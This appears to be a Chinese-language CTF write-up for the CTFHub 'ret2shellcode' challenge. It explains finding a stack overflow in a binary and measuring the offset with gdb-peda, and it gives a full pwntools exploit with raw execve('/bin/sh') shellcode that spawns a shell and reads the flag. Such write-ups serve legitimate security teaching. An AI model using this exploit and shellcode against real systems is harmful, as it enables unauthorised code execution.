ret2shellcode

0x1

题目地址

拿到题目,首先看看文件类型,以及保护机制。
image-20220903235214002

我们发现它缺少执行权限,加上权限后执行,是简单的输入输出,不过这里似乎给到我们了一个地址。

0x2

接下来,把程序拖入 ida,反汇编看看:
image-20220904000019546

我们发现这个程序中并没有关于 flag 的相关信息,所以我们推测 flag 存放在服务器上。

还发现程序通过 read() 把输入存入buf[],也没有保护机制保护栈,这就给了我们栈溢出的机会。
还记得我们前面提到的那个输出的地址吗,从反汇编代码可以看出,它就是 buf 的地址。

0x3

这样我们就有了溢出思路,通过输入字符串一直覆盖掉 rbp,制造栈溢出。
通过题目名称 ret2shellcode,也能知道最后一定要获得 shell 的。但我并未在程序中发现关于获得 sh 的代码,那就只能自己写了。

0x4

梳理一下我们需要获得的信息

  • buf[] 的地址
  • buf[] 与 rbp 的距离
  • shellcode

( 1)buf[] 的地址,就在输出中,我们要想办法把它提取出来。
image-20220904002822097

recvuntil( delims , drop=False , timeout=default ) → 字节[资源]

接收数据,直到遇到delims之一。

如果在timeout几秒内没有满足请求,所有数据都会被缓冲并返回一个空字符串 ( '')。

  •   参数:
    
    delims ( bytes , tuple ) — 分隔符的字节串,或分隔符字节串的列表。
    drop ( bool ) – 删除结尾。如果True它从返回值的末尾移除。
  •   Raises:  **exceptions.EOFError** — 连接在请求得到满足之前关闭         
    
  •   返回值:  包含从套接字接收到的字节的字符串,或者`''`如果在等待时发生超时。 
    

摘自:pwntools

( 2)距离

方法一:看汇编代码,buf[] 与 rbp 的距离:0x10 + 8 = 2410
image-20220904002551439

方法二: peda 调试

1
2
3
4
5
gdb-peda pwn
pattern create 200     //制造200个填充字符(多少字符都行),先把他复制下来
r                      //运行程序

pattern offset 地址    //ret 地址,确定偏移

image-20220904002120603

image-20220904002141581

image-20220904002212274

image-20220904002358262

( 3) shellcode

0x5

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import* 

context(os='linux', arch='amd64', log_level='debug')

p = process("./pwn")
# p = connect('challenge-47138fa4ef483fb7.sandbox.ctfhub.com',33570)

p.recvuntil(b'[')
buf_addr = p.recvuntil(b']', drop=True)

print(buf_addr)
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#shellcode = asm(shellcraft.sh())
payload = b"a"*24 + p64(int(buf_addr,16)+32)+shellcode

p.sendlineafter("Input someting :",payload)
p.interactive()

最后远程连接获取 flag:ls 发现有一个flag文件,cat flag 即可